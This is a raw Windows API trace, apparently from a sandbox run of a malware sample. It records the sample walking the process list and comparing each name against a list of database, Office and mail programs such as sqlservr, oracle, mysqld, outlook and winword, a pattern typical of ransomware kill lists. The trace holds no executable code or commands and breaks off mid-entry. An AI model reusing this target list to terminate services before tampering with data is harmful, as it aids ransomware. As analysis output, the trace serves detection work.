[0031.410] lstrcmpiW (lpString1="System", lpString2="thebat64.exe") returned -1 [0031.410] lstrcmpiW (lpString1="System", lpString2="Thunderbird.exe") returned -1 [0031.410] lstrcmpiW (lpString1="System", lpString2="visio.exe") returned -1 [0031.410] lstrcmpiW (lpString1="System", lpString2="winword.exe") returned -1 [0031.410] lstrcmpiW (lpString1="System", lpString2="wordpad.exe") returned -1 [0031.410] lstrcmpiW (lpString1="System", lpString2="sqlwb.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="sqlbrowser.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="agntsvcagntsvc.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="agntsvcencsvc.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="agntsvcisqlplussvc.exe") returned 1 [0031.410] Process32NextW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="msftesql.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="sqlagent.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="sqlwriter.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="oracle.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="ocssd.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="dbsnmp.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="synctime.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mydesktopqos.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvc.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="isqlpplussvc.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="isqlpussvc.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="xfssvccon.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mydesktopservice.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="ocautoupds.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="encsvc.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="firefoxconfig.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="tbirdconfig.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="ocomm.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld-nt") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld-opt") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="dbeng50.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="sqbcoreservice.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="excel.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="infopath.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="msaccess.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="mspub.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="onenote.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="outlook.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="powerpnt.exe") returned 1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="stream.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="thebat.exe") returned -1 [0031.411] lstrcmpiW (lpString1="smss.exe", lpString2="thebat64.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="Thunderbird.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="visio.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="winword.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="wordpad.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="sqlwb.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="sqlbrowser.exe") returned -1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcencsvc.exe") returned 1 [0031.412] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0031.412] Process32NextW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopqos.exe") returned -1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvc.exe") returned 1 [0031.412] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpplussvc.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpussvc.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="xfssvccon.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopservice.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="encsvc.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-nt") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-opt") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="dbeng50.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="sqbcoreservice.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="excel.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="infopath.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="msaccess.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="mspub.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="onenote.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="outlook.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="powerpnt.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="stream.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat64.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="Thunderbird.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="visio.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="winword.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="wordpad.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwb.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlbrowser.exe") returned -1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcencsvc.exe") returned 1 [0031.413] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0031.413] Process32NextW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="msftesql.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlagent.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlwriter.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="oracle.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="ocssd.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="dbsnmp.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="synctime.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="mydesktopqos.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvc.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="isqlpplussvc.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="isqlpussvc.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="xfssvccon.exe") returned -1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="mydesktopservice.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="ocautoupds.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="encsvc.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="firefoxconfig.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="tbirdconfig.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="ocomm.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld-nt") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld-opt") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="dbeng50.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="sqbcoreservice.exe") returned 1 [0031.414] lstrcmpiW (lpString1="wininit.exe", lpString2="excel.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="infopath.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="msaccess.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="mspub.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="onenote.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="outlook.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="powerpnt.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="stream.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="thebat.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="thebat64.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="Thunderbird.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="visio.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="winword.exe") returned -1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="wordpad.exe") returned -1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlwb.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlbrowser.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcencsvc.exe") returned 1 [0031.415] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0031.415] Process32NextW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.415] lstrcmpiW (lpString1="csrss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0031.415] lstrcmpiW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopqos.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvc.exe") returned 1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpplussvc.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpussvc.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="xfssvccon.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopservice.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="encsvc.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-nt") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-opt") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="dbeng50.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="sqbcoreservice.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="excel.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="infopath.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="msaccess.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="mspub.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="onenote.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="outlook.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="powerpnt.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="stream.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat.exe") returned -1 [0031.416] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat64.exe") returned -1 [0031.871] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8 [0031.876] Process32FirstW (in: hSnapshot=0xd8, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.250] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0032.254] Process32FirstW (in: hSnapshot=0xe0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0032.653] Process32FirstW (in: hSnapshot=0xe0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0032.963] Process32FirstW (in: hSnapshot=0xe0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0033.464] Process32FirstW (in: hSnapshot=0x100, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0034.071] Process32FirstW (in: hSnapshot=0x11c, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.390] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0034.395] Process32FirstW (in: hSnapshot=0x100, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.794] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0034.800] Process32FirstW (in: hSnapshot=0x100, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144 [0035.315] Process32FirstW (in: hSnapshot=0x144, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144 [0035.932] Process32FirstW (in: hSnapshot=0x144, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0036.369] Process32FirstW (in: hSnapshot=0x150, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.860] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0036.866] Process32FirstW (in: hSnapshot=0x150, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.318] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0037.324] Process32FirstW (in: hSnapshot=0x150, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.331] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0038.569] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0039.274] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.930] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0040.939] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.939] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.940] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.941] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.941] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.942] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.942] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.943] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.943] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.944] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.944] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.945] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.945] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.946] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.946] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.947] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, 